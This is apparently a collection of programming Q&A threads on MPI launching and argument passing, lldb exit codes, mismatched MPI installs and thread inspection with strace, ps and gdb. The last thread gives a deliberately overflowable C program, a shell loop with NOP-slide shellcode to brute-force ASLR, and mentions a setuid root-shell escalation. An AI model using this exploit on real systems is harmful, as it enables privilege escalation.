mpirun (and mpiexec) do not seem to be passing command line arguments to my c code.
Running my exeutable "gecko" directly from the command line gives expected:
$ ./gecko -np 2
main:There are 3 arguments:
arg=./gecko
arg=-np
arg=2
But running the same through mpirun is different:
$ mpirun -np 2 ./gecko
main:There are 1 arguments:
arg=./gecko
which means MPI_init(argc,argv) doesn't have any arguments to work with.
I'm on Ubuntu 12.04 with MPICH 2.
Can anyone see a reason why this is not happening?
Thanks.
--------------------------- EDIT ---------------------------------
There are many examples on the net that say the way to initialize MPI is via the command line arguments, eg.:
#include <stdio.h>
#include “mpi.h”
int main(int argc, char* argv[])
{
int size, rank;
MPI_Init(&argc, &argv);
MPI_Comm_size(MPI_COMM_WORLD, &size);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
printf(“Greetings from process %i\n”, rank);
MPI_Finalize();
return 0;
}
and that the way to execute the mpi code is to use:
mpirun -np 2 ./code_name
So, if mpirun does not pass the arguments np and 2 to the c code, how does the c code ever get to know how many processors it should be run on?
The -np argument is not meant to be interpreted by your executable, but by mpirun. If you want to pass extra arguments to your executable, you'd have to list them after the executable name as usual.
If you need the number of MPI tasks, you should use the appropriate MPI function that provide you with that number.
Edit:
MPI may pass startup information through the arguments given to MPI_Init or by any other means that pleases the implementor. Depending on the MPI implementation that you use, you may see that MPI passes a lot more arguments to your program. MPI_Init then rips all stuff that it needs and leaves only those things that it doesn't understand.
You should not rely on any such argument passing convention in your application. MPI is meant to be portable and you should only use MPI functions to access the runtime parameters.
Ever since circa 1997 MPI_Init() also works if both its arguments are NULL. This means that practically all MPI implementations use a different mechanism to pass configuration information, namely environment variables and files. For example, Open MPI passes the following variables:
$ cat print_ompi_vars
#!/bin/bash
printenv | grep ^OMPI | sort
$ mpiexec -np 1 ./print_ompi_vars
OMPI_COMM_WORLD_LOCAL_RANK=0
OMPI_COMM_WORLD_LOCAL_SIZE=1
OMPI_COMM_WORLD_NODE_RANK=0
OMPI_COMM_WORLD_RANK=0
OMPI_COMM_WORLD_SIZE=1
OMPI_MCA_btl=^tcp
OMPI_MCA_btl_openib_ib_timeout=24
OMPI_MCA_btl_openib_warn_default_gid_prefix=0
OMPI_MCA_btl_tcp_if_include=ib0
OMPI_MCA_carto=file
OMPI_MCA_carto_file_path=/opt/MPI/openmpi/carto/carto_2K-64C.txt
OMPI_MCA_ess=env
OMPI_MCA_mpi_yield_when_idle=0
OMPI_MCA_oob_tcp_if_include=ib0
OMPI_MCA_orte_app_num=0
OMPI_MCA_orte_cpu_model=Intel(R) Xeon(R) CPU X5675 # 3.07GHz
OMPI_MCA_orte_cpu_type=GenuineIntel
OMPI_MCA_orte_daemonize=1
OMPI_MCA_orte_ess_jobid=4114219009
OMPI_MCA_orte_ess_node_rank=0
OMPI_MCA_orte_ess_num_procs=1
OMPI_MCA_orte_ess_vpid=0
OMPI_MCA_orte_hnp_uri=4114219008.0;tcp://1.2.3.4:48206
OMPI_MCA_orte_local_daemon_uri=4114219008.1;tcp://1.2.3.4:59277
OMPI_MCA_orte_num_nodes=1
OMPI_MCA_orte_num_restarts=0
OMPI_MCA_orte_precondition_transports=1f4c3cf87403b137-a8e3173542efb9c3
OMPI_MCA_plm=rsh
OMPI_MCA_shmem_RUNTIME_QUERY_hint=mmap
OMPI_UNIVERSE_SIZE=1
It works similarly with other MPI implementations.
Anyway, if you wish to pass arguments to your MPI executable, put them as usual after the name of the executable:
$ mpiexec -n 16 <other mpiexec args> ./gecko -np 2 <other program args>
Related
Say with this simple code:
#include<stdio.h>
int main(int argc, char** argv){
printf("Hello World!\n");
return 0;
}
After stepping printf("Hello World!\n”); perhaps there’s a command to print that “Hellow World!\n” has been written to STDOUT.
And after return 0 perhaps there’s a command to see the exit codes generated and it will show 0.
Are there such commands or similar in lldb?
LLDB prints the exit status when a process exits:
(lldb) run
Process 76186 launched: '/tmp/a.out' (x86_64)
Process 76186 exited with status = 10 (0x0000000a)
and you can also access it with the SB API's:
(lldb) script lldb.process.GetExitStatus()
10
lldb doesn't have any special knowledge about all the ways a program might read or write data to a pipe, file handle, pty, etc... It also doesn't know how to interpose on file handles and tee-off the output. There's no particular reason it couldn't, but nobody has added that to date.
So you would have to build this yourself. If you know the API your code is using to read and write, you could use breakpoints to observe that - though that might get slow if you are observing a program that reads and writes a lot.
I am learning MPI for parallel programming in C and I am using a processor with 4 cores. I am trying to do an example from a tutorial in which the output should be:
Hello world! I'm process 0 out of 4 processes
Hello world! I'm process 2 out of 4 processes
Hello world! I'm process 1 out of 4 processes
Hello world! I'm process 3 out of 4 processes
In whatever order.
Here is my code:
#include <stdio.h>
#include <mpi.h>
int main(int argc, char** argv)
{
int ierr, num_procs, my_id;
ierr = MPI_Init(&argc, &argv);
ierr = MPI_Comm_rank(MPI_COMM_WORLD, &my_id);
ierr = MPI_Comm_size(MPI_COMM_WORLD, &num_procs);
printf("Hello world! I'm process %i out of %i processes\n", my_id, num_procs);
ierr = MPI_Finalize();
}
I compile it using:
mpicc helloworld.c -o helloworld
And I run it using:
mpirun -np 4 helloworld
This is what is outputted:
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
It's outputting it 4 times which is relatively good news I guess but the program isn't recognising the number of threads and each thread ID.
Is it even running in parallel or is it just running 4 times in serial?
How can I get the program to recognise the amount of threads and the thread ID properly?
Thanks in advance!
mpicc helloworld.c -o helloworld
mpirun -np 4 helloworld
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
Hello world! I'm process 0 out of 1 processes
This sequence clearly shows us that your MPI runtime was unable to detect parallel start, it probably from misconfiguration: your mpicc is from one MPI implementation and your mpirun is from other. For example, both MPICH and OpenMPI have mpicc scripts for compiling MPI programs, but their mpiexec/mpirun programs are incompatible. Compile with MPICH, start with OpenMPI starter and MPICH runtime will not receive needed environment variables to figure out parallel run and its parameters.
You should revisit list of installed packages (dpkg -l|egrep 'mpich|openmpi') and check which file is from which library (dpkg -L mpich, dpkg -L openmpi-bin; dpkg -L libmpich-dev, dpkg -L libopenmpi-dev). Ubuntu/debian also have system of "alternatives" which will install symbolic links mpicc and mpirun to actual scripts (do ls -l /usr/bin/mpicc /usr/bin/mpirun to see current state of the links). Check update-alternatives tool, its man page and docs to learn how to reset all mpi-named scripts to one implementation (and there is galternatives GUI for it).
According to file lists in packages, mpich and openmpi have variants of mpirun/mpiexec with suffixes http://packages.ubuntu.com/yakkety/amd64/openmpi-bin/filelist http://packages.ubuntu.com/yakkety/amd64/mpich/filelist:
/usr/bin/mpiexec.openmpi
/usr/bin/mpirun.openmpi
/usr/bin/mpiexec.hydra
/usr/bin/mpiexec.mpich
/usr/bin/mpirun.mpich
Same situation for mpicc scripts: http://packages.ubuntu.com/yakkety/amd64/libopenmpi-dev/filelist http://packages.ubuntu.com/yakkety/amd64/libmpich-dev/filelist
/usr/bin/mpicc.openmpi
/usr/bin/mpicc.mpich
Always use mpicc and mpirun (or mpiexec) from the same implementation. You may also use variants with suffix to be sure: mpicc.openmpi & mpiexec.openmpi pair or mpicc.mpich & mpiexec.mpich pair.
And to use some MPI implementation, you should have it fully installed, both for bin, lib and dev packages.
I was writing a code to understand MPI_Comm_spawn. I found some examples in the Internet, all compiled and executed with sucess but when I put the follow statement: mpirun -np 2 ./program I received a error. So, MPI_Comm_spawn only work with one process (-np 1)?
mpirun -np 1 ./executable - ok
mpirun -np 2 ./executable - don't run with values greater than one
I use the following code:
code used
You can definitely spawn processes when you have more than 1 process. That example is just designed to only work with one process. Here is an example of some code that will work with more than 1 process.
Suppose I have a generic binary without source and I want to determine whether it is running serially or spawns multiple threads.
Is there a way I can do this from the linux command line?
First install strace.
$ yum install strace
Run the program with strace, and look for clone or fork system calls. Here's a quick example with a program I wrote that just calls fork and returns.
$ strace ./a.out
execve("./a.out", ["./a.out"], [/* 43 vars */]) = 0
brk(0) = 0x74f000
...
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fb22b16da10) = 6567
exit_group(1) = ?
+++ exited with 1 +++
You can use ps for that. From man ps:
-L Show threads, possibly with LWP and NLWP columns.
So you can do:
$ ps -L <pid>
and it will show you something like this:
PID LWP TTY STAT TIME COMMAND
4112 4112 ? Sl 65:35 /usr/lib/firefox/firefox
4112 4116 ? Sl 0:04 /usr/lib/firefox/firefox
Each line of the output corresponds to one thread. This of course, only works for a certain
moment in time. To track the spawning of threads, use strace, as suggested by Jonathon Reinhart.
An alternative to strace is, of course, gdb. See this question for details on managing threads in gdb. You may also read the thread section of the gdb manual. Quick introduction:
$ gdb /usr/lib/firefox/firefox <pid>
[... initialization output ...]
> info threads # lists threads
> thread <nr> # switch to thread <nr>
Your comment:
How can I figure out where to set an instruction-level breakpoint if the program only takes seconds to run?
This answer might help you here, as it shows how to break on thread creation (with pthread_create) using gdb. So every time a thread is created, execution stops and you might investigate.
Just run: cat /proc/<pid>/stat | awk '{print $20}' to get the number of threads of a running process.
proc manpage
I just read about Address Space Layout Randomization and I tried a very simple script to try to brute force it. Here is the program I used to test a few things.
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}
I compiled it with this command:
gcc -g -fno-stack-protector -o vul vul.c
I made sure ASLR was enabled:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
Then, I came up with this simple script:
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done
The format is
return address many times | 64KB NOP slide | shellcode that runs exit(1)
After running this script for a few seconds it exits with error code 1 as I wanted it to. I also tried other shellcodes that call execv("/bin/sh", ...) and I was successful as well.
I find it strange that it's possible to create such a long NOP slide even after the return address. I thought ASLR was more effective, did I miss something? Is it because the address space is too small?
EDIT: I did some additional research and here is what I found:
I asked a friend to run this code using -m32 -z execstack on his 64b computer and after changing the return address a bit, he had the same results.
Even though I did not use -z execstack, I managed to execute the shellcode. I made sure of that by using different shellcodes which all did what they were supposed to do (even the well know scenario chown root ./vul, chmod +s ./vul, shellcode that runs setreuid(0, 0) then execv("/bin/sh", ...) and finally whoami that returns 'root' in the spawned shell).
That is quite strange since execstack -q ./vul tels me the executable stack flag bit is not set. Does anyone have an idea why?
First of all, I'm a bit surprised that you do not need to pass the option -z execstack to the compiler to get the shellcode to execute the exit(1).
Moreover, I guess you are on a 32bits machine as you did not pass the option -m32 to gcc in order to get 32bits code.
Finally, I did run your program without success (I waited way more than a few seconds).
So, I'm a bit doubtful about your conclusion (except if you are running a very peculiar Linux system or may have been lucky).
Anyway, there are two main things that you have not mentionned:
Having a bug that offer an unlimited exploitation windows is quite rare.
Most of the modern systems run on amd64 (64bits) processors, which lower drastically the probability to hit the nop-zone.
You may take a look at the section "ASLR Effectiveness" on the ASLR's Wikipedia page.